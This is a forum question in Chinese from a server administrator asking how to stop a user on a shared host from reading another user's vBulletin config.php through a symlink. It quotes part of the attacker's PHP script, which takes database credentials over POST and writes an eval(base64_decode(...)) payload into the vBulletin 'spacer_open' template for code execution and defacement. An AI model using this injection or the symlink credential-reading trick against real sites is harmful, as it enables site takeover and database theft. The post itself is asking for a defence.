我有PHP安全问题。我发现有人试图获取config.php
vBulletin论坛脚本。例如,我在用户matt中安装了一个 vBulletin 脚本。
所以 vbulletin 论坛的虚拟主机目录将是:
/home/matt/public_html/forum/includes/config.php
现在黑客以另一个用户登录,我们称他为john,他上传了一个基于函数的 PHP 脚本function_exist
,base64_decode
并且file_get_contents
. 这是代码的一部分。
完整的脚本可以在http://www.textswell.com/read,4207852514827
.
现在我发现他可以通过符号链接获取数据库信息:
183697715 lrwxrwxrwx 1 john john 49 Oct 9 00:01 g.html -> /home/matt/public_html/forum/includes/config.php
现在他如何对文件进行符号链接并读取数据库信息?他所做的还不止这些。他还有一个可以写入所有模板数据库的 SQL 脚本,完整代码如下:
<INPUT value=\"عدل\" name=\"send\" type=\"submit\">
</FORM>";
}
else {
$localhost = $_POST['localhost'];
$database = $_POST['database'];
$username = $_POST['username'];
$password = $_POST['password'];
$index = $_POST['index'];
@mysql_connect($localhost,$username,$password) or die(mysql_error());
@mysql_select_db($database) or die(mysql_error());
$index=str_replace("\'","'",$index);
$set_index = "{\${eval(base64_decode(\'";
$set_index .= base64_encode("echo \"$index\";");
$set_index .= "\'))}}{\${exit()}}</textarea>";
$ok=@mysql_query("UPDATE template SET template ='".$set_index."' WHERE title ='spacer_open'") or die(mysql_error());
if($ok){
echo "!! update finish !!<br><br>";
}
}
# Footer
echo "<strong>SpeciaL GreeTz To :</strong> <u>Abu-NaiF</u>";
?>
我无法禁用这些功能。很多脚本都依赖它,而且我不知道如何通过 mod security 设置规则来停止脚本上编写的MySQL查询。
有解决办法吗?